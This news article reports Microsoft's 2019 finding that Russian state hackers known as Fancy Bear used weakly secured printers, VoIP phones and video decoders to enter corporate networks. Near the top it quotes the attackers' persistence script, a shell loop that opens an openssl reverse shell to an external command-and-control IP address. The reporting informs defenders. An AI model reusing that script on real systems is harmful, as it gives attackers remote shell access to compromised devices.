Microsoft catches Russian state hackers using IoT devices to breach networks

arstechnica.com/information-technology/2019/08/microsoft-catches-russian-state-hackers-using-iot-devices-to-breach-networks/

Dan Goodin - 8/5/2019, 4:15 PM

```
—contents of [IOT Device] file--

#!/bin/sh
export [IOT Device] ="-qws -display :1 -nomouse"
echo 1|tee /tmp/.c;sh -c '(until (sh -c "openssl s_client -quiet -host
167.114.153.55 -port 443 |while : ; do sh && break; done| openssl
s_client -quiet -host 167.114.153.55 -port 443"); do (sleep 10 &&
cn=$((`cat /tmp/.c`+1)) && echo $cn|tee /tmp.c && if [ $cn -ge 30 ];
then (rm /tmp/.c;pkill -f 'openssl'); fi);done)&' &

--end contents of file--
```

Fancy Bear servers are communicating with compromised devices inside corporate networks.

Hackers working for the Russian government have been using printers, video decoders, and other so-called Internet-of-things devices as a beachhead to penetrate targeted computer networks, Microsoft officials warned on Monday.

“These devices became points of ingress from which the actor established a presence on the network and continued looking for further access,” officials with the Microsoft Threat Intelligence Center wrote in a post. “Once the actor had successfully established access to the network, a simple network scan to look for other insecure devices allowed them to discover and move across the network in search of higher-privileged accounts that would grant access to higher-value data.”

The officials continued:

After gaining access to each of the IoT devices, the actor ran `tcpdump` to sniff network traffic on local subnets. They were also seen enumerating administrative groups to attempt further exploitation. As the actor moved from one device to another, they would drop a simple shell script to establish persistence on the network which

allowed extended access to continue hunting. Analysis of network traffic showed the devices were also communicating with an external command and control (C2) server.

Microsoft researchers discovered the attacks in April, when a voice-over-IP phone, an office printer, and a video decoder in multiple customer locations were communicating with servers belonging to "Strontium," a Russian government hacking group better known as Fancy Bear or APT28. In two cases, the passwords for the devices were the easily guessable default ones they shipped with. In the third instance, the device was running an old firmware version with a known vulnerability. While Microsoft officials concluded that Strontium was behind the attacks, they said they weren't able to determine what the group's ultimate objectives were.

Further Reading

Hackers infect 500,000 consumer routers all over the world with malware
Last year, the FBI concluded the hacking group was behind the infection of more than 500,000 consumer-grade routers in 54 countries. Dubbed VPNFilter, the malware was a Swiss Army hacking knife of sorts. Advanced capabilities included the ability to monitor, log, or modify traffic passing between network end points and websites or industrial control systems using Modbus serial communications protocol. The FBI, with assistance from Cisco's Talos security group, ultimately neutralized VPNFilter.

Fancy Bear was one of two Russian-sponsored groups that hacked the Democratic National Committee ahead of the 2016 presidential election. Strontium has also been linked to intrusions into the World Anti-Doping Agency in 2016, the German Bundestag, and France's TV5Monde TV station, among many others. Last month, Microsoft said it had notified almost 10,000 customers in the past year that they were being targeted by nation-sponsored hackers. Strontium was one of the hacker groups Microsoft named.

Microsoft has notified the makers of the targeted devices so they can explore the possibility of adding new protections. Monday's report also provided IP addresses and scripts organizations can use to detect if they have also been targeted or infected. Beyond that, Monday's report reminded people that, despite Strontium's above-average hacking abilities, an IoT device is often all it needs to gain access to a targeted network.

"While much of the industry focuses on the threats of hardware implants, we can see in this example that adversaries are happy to exploit simpler configuration and security issues to achieve their objectives," the report noted. "These simple attacks taking advantage of weak device management are likely to expand as more IoT devices are deployed in corporate environments."